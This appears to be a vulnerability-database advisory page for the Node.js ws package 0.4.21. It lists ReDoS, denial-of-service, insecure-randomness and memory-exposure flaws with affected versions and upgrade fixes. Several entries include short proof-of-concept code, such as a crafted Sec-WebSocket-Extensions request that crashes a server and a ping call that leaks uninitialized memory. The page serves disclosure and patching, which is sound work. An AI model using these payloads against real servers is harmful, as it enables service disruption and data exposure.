ws 0.4.21 vulnerabilities

Known vulnerabilities in the ws package. This does not include vulnerabilities belonging to this package’s dependencies.

Vulnerability	Vulnerable Version
M Regular Expression Denial of Service (ReDoS) ws is a simple to use websocket client, server and console for node.js. Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A specially crafted value of the `Sec-Websocket-Protocol` header can be used to significantly slow down a `ws` server. ##PoC `for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) { const value = 'b' + ' '.repeat(length) + 'x'; const start = process.hrtime.bigint(); value.trim().split(/ , /); const end = process.hrtime.bigint(); console.log('length = %d, time = %f ns', length, end - start); }` How to fix Regular Expression Denial of Service (ReDoS)? Upgrade `ws` to version 7.4.6, 6.2.2, 5.2.3 or higher.	>=7.0.0 <7.4.6>=6.0.0 <6.2.2<5.2.3
H Denial of Service (DoS) ws is a simple to use websocket client, server and console for node.js. Affected versions of this package are vulnerable to Denial of Service (DoS) attacks. A specially crafted value of the `Sec-WebSocket-Extensions` header that used `Object.prototype` property names as extension or parameter names could be used to make a ws server crash. PoC: const WebSocket = require('ws'); const net = require('net'); const wss = new WebSocket.Server({ port: 3000 }, function () { const payload = 'constructor'; // or ',;constructor' const request = [ 'GET / HTTP/1.1', 'Connection: Upgrade', 'Sec-WebSocket-Key: test', 'Sec-WebSocket-Version: 8', `Sec-WebSocket-Extensions: ${payload}`, 'Upgrade: websocket', '\r\n' ].join('\r\n'); const socket = net.connect(3000, function () { socket.resume(); socket.write(request); }); }); How to fix Denial of Service (DoS)? Upgrade `ws` to version 1.1.5, 3.3.1 or higher.	<1.1.5>=2.0.0 <3.3.1
M Insecure Randomness `ws` is a simple to use websocket client, server and console for node.js. Affected versions of the package use the cryptographically insecure `Math.random()` which can produce predictable values and should not be used in security-sensitive context. Details Computers are deterministic machines, and as such are unable to produce true randomness. Pseudo-Random Number Generators (PRNGs) approximate randomness algorithmically, starting with a seed from which subsequent values are calculated. There are two types of PRNGs: statistical and cryptographic. Statistical PRNGs provide useful statistical properties, but their output is highly predictable and forms an easy to reproduce numeric stream that is unsuitable for use in cases where security depends on generated values being unpredictable. Cryptographic PRNGs address this problem by generating output that is more difficult to predict. For a value to be cryptographically secure, it must be impossible or highly improbable for an attacker to distinguish between it and a truly random value. In general, if a PRNG algorithm is not advertised as being cryptographically secure, then it is probably a statistical PRNG and should not be used in security-sensitive contexts. You can read more about node's insecure `Math.random()` in Mike Malone's post. How to fix Insecure Randomness? Upgrade `ws` to version 1.1.2 or higher.	<1.1.2
H Denial of Service (DoS) `ws` is a WebSocket client and server implementation. Affected versions of this package did not limit the size of an incoming payload before it was processed by default. As a result, a very large payload (over 256MB in size) could lead to a failed allocation and crash the node process - enabling a Denial of Service attack. While 256MB may seem excessive, note that the attack is likely to be sent from another server, not an end-user computer, using data-center connection speeds. In those speeds, a payload of this size can be transmitted in seconds. How to fix Denial of Service (DoS)? Update to version 1.1.1 or greater, which sets a default `maxPayload` of 100MB. If you cannot upgrade, apply a Snyk patch, or provide `ws` with options setting the `maxPayload` to an appropriate size that is smaller than 256MB.	<1.1.1
M Remote Memory Exposure `ws` is a simple to use websocket client, server and console for node.js. Affected versions of the package are vulnerable to Uninitialized Memory Exposure. A client side memory disclosure vulnerability exists in ping functionality of the ws service. When a client sends a ping request and provides an integer value as ping data, it will result in leaking an uninitialized memory buffer. This is a result of unobstructed use of the `Buffer` constructor, whose insecure default constructor increases the odds of memory leakage. `ws`'s `ping` function uses the default `Buffer` constructor as-is, making it easy to append uninitialized memory to an existing list. If the value of the buffer list is exposed to users, it may expose raw memory, potentially holding secrets, private data and code. Proof of Concept: `var ws = require('ws') var server = new ws.Server({ port: 9000 }) var client = new ws('ws://localhost:9000') client.on('open', function () { console.log('open') client.ping(50) // this makes the client allocate an uninitialized buffer of 50 bytes and send it to the server client.on('pong', function (data) { console.log('got pong') console.log(data) }) })`	<1.0.1

Vulnerability

Vulnerable Version

Regular Expression Denial of Service (ReDoS)

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.

##PoC

for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();

  value.trim().split(/ *, */);

  const end = process.hrtime.bigint();

  console.log('length = %d, time = %f ns', length, end - start);
}

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade ws to version 7.4.6, 6.2.2, 5.2.3 or higher.

>=7.0.0 <7.4.6>=6.0.0 <6.2.2<5.2.3

Denial of Service (DoS)

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Denial of Service (DoS) attacks. A specially crafted value of the Sec-WebSocket-Extensions header that used Object.prototype property names as extension or parameter names could be used to make a ws server crash.

PoC:

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

How to fix Denial of Service (DoS)?

Upgrade ws to version 1.1.5, 3.3.1 or higher.

<1.1.5>=2.0.0 <3.3.1

Insecure Randomness

ws is a simple to use websocket client, server and console for node.js.

Affected versions of the package use the cryptographically insecure Math.random() which can produce predictable values and should not be used in security-sensitive context.

Details

Computers are deterministic machines, and as such are unable to produce true randomness. Pseudo-Random Number Generators (PRNGs) approximate randomness algorithmically, starting with a seed from which subsequent values are calculated.

There are two types of PRNGs: statistical and cryptographic. Statistical PRNGs provide useful statistical properties, but their output is highly predictable and forms an easy to reproduce numeric stream that is unsuitable for use in cases where security depends on generated values being unpredictable. Cryptographic PRNGs address this problem by generating output that is more difficult to predict. For a value to be cryptographically secure, it must be impossible or highly improbable for an attacker to distinguish between it and a truly random value. In general, if a PRNG algorithm is not advertised as being cryptographically secure, then it is probably a statistical PRNG and should not be used in security-sensitive contexts.

You can read more about node's insecure Math.random() in Mike Malone's post.

How to fix Insecure Randomness?

Upgrade ws to version 1.1.2 or higher.

<1.1.2

Denial of Service (DoS)

ws is a WebSocket client and server implementation.

Affected versions of this package did not limit the size of an incoming payload before it was processed by default. As a result, a very large payload (over 256MB in size) could lead to a failed allocation and crash the node process - enabling a Denial of Service attack.

While 256MB may seem excessive, note that the attack is likely to be sent from another server, not an end-user computer, using data-center connection speeds. In those speeds, a payload of this size can be transmitted in seconds.

How to fix Denial of Service (DoS)?

Update to version 1.1.1 or greater, which sets a default maxPayload of 100MB. If you cannot upgrade, apply a Snyk patch, or provide ws with options setting the maxPayload to an appropriate size that is smaller than 256MB.

<1.1.1

Remote Memory Exposure

ws is a simple to use websocket client, server and console for node.js. Affected versions of the package are vulnerable to Uninitialized Memory Exposure.

A client side memory disclosure vulnerability exists in ping functionality of the ws service. When a client sends a ping request and provides an integer value as ping data, it will result in leaking an uninitialized memory buffer.

This is a result of unobstructed use of the Buffer constructor, whose insecure default constructor increases the odds of memory leakage.

ws's ping function uses the default Buffer constructor as-is, making it easy to append uninitialized memory to an existing list. If the value of the buffer list is exposed to users, it may expose raw memory, potentially holding secrets, private data and code.

Proof of Concept:

var ws = require('ws')

var server = new ws.Server({ port: 9000 })
var client = new ws('ws://localhost:9000')

client.on('open', function () {
  console.log('open')
  client.ping(50) // this makes the client allocate an uninitialized buffer of 50 bytes and send it to the server

  client.on('pong', function (data) {
    console.log('got pong')
    console.log(data)
  })
})

<1.0.1

ws@0.4.21 vulnerabilities

Simple to use, blazing fast and thoroughly tested websocket client and server for Node.js

latest version

latest non vulnerable version

first published

latest version published

licenses detected

Direct Vulnerabilities

How to fix?

Details